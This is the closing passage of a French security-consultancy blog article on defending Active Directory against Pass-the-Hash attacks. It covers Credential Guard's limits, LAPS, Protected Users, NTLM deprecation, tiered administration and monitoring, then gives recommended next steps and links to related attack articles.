La protection multi-couches inclut le deploiement de Credential Guard pour isoler les hash NTLM dans un conteneur securise base sur la virtualisation, la restriction des comptes privilegies aux stations d'administration securisees (PAW), l'implementation du modele de tiering Active Directory pour cloisonner les niveaux de privileges, la desactivation du protocole NTLM au profit de Kerberos via les GPO, et le deploiement de LAPS (Local Administrator Password Solution) pour garantir des mots de passe d'administrateur local uniques sur chaque machine du parc.

Pourquoi Credential Guard ne suffit-il pas a eliminer completement le risque Pass-the-Hash ?

Credential Guard protege les hash NTLM et les tickets Kerberos en les isolant dans un environnement de securite base sur la virtualisation (VBS), mais presente des limitations. Il ne protege pas les hash des comptes locaux stockes dans la base SAM, ne couvre pas les sessions RDP en mode restricted admin, et est incompatible avec certaines applications legacy utilisant NTLMv1 ou la delegation Kerberos non contrainte. De plus, il ne protege pas contre le vol de tickets Kerberos deja emis ni contre les attaques utilisant des protocoles alternatifs comme le Pass-the-Ticket.

Pour approfondir, consultez les ressources officielles : OWASP Testing Guide, CVE Details et ANSSI.

Sources et références : MITRE ATT&CK Privilege Escalation · ADSecurity.org

Conclusion

L'attaque **Pass-the-Hash**, malgré son âge respectable (plus de 20 ans dans le contexte Windows), demeure l'une des techniques de mouvement latéral les plus efficaces et les plus utilisées en 2025. Sa simplicité d'exécution, la disponibilité d'outils automatisés, et la prévalence du protocole NTLM dans les environnements legacy en font une menace persistante.

Cependant, des défenses robustes existent et ont fait leurs preuves :

- **LAPS** casse la chaîne de mouvement latéral en randomisant les passwords locaux
- **Credential Guard** protège la mémoire LSASS contre le dumping
- **Protected Users** empêche le cache de hash NTLM pour les comptes critiques
- **Désactivation progressive de NTLM** élimine le vecteur d'attaque à la source
- **EDR et SIEM** détectent les comportements suspects (dumps LSASS, authentifications anormales)

La clé du succès réside dans une **approche en profondeur (Defense in Depth)** combinant prévention technique, segmentation réseau (Tiered Administration), monitoring avancé, et formation des équipes.

Prochaines Étapes Recommandées

1. **Audit de votre posture actuelle** : Évaluez votre vulnérabilité PtH avec un Purple Team assessment
2. **Déploiement LAPS prioritaire** : Si non fait, c'est LA priorité absolue
3. **Activation Credential Guard** : Sur toutes machines Windows 10/11 Enterprise
4. **Plan de migration NTLM → Kerberos** : Commencer l'audit NTLM usage dès aujourd'hui
5. **Implémentation monitoring** : Sysmon Event 10, règles SIEM PtH, EDR tuning

Articles Connexes

Pour approfondir vos connaissances sur les attaques Active Directory et les stratégies de défense :

- Pass-the-Ticket : Réutilisation de Tickets Kerberos
- Skeleton Key : Backdoor Malveillante dans Active Directory
- Golden Ticket : Persistance Ultime via KRBTGT
- DCSync : Exfiltration des Secrets AD
- Top 10 des Attaques Active Directory en 2025
- Guide Complet de Sécurisation Active Directory 2025

← Retour au Top 10 des Attaques AD Article suivant : Pass-the-Ticket →

> **Ressources open source associées :**
>
> - awesome-cybersecurity-tools — Liste de 100+ outils de cybersécurité

Ayi NEDJIMI Consultants — Expert cybersécurité offensive & intelligence artificielle

ayinedjimi-consultants.fr · ayi@ayinedjimi-consultants.fr

© 2025 — Reproduction interdite sans autorisation.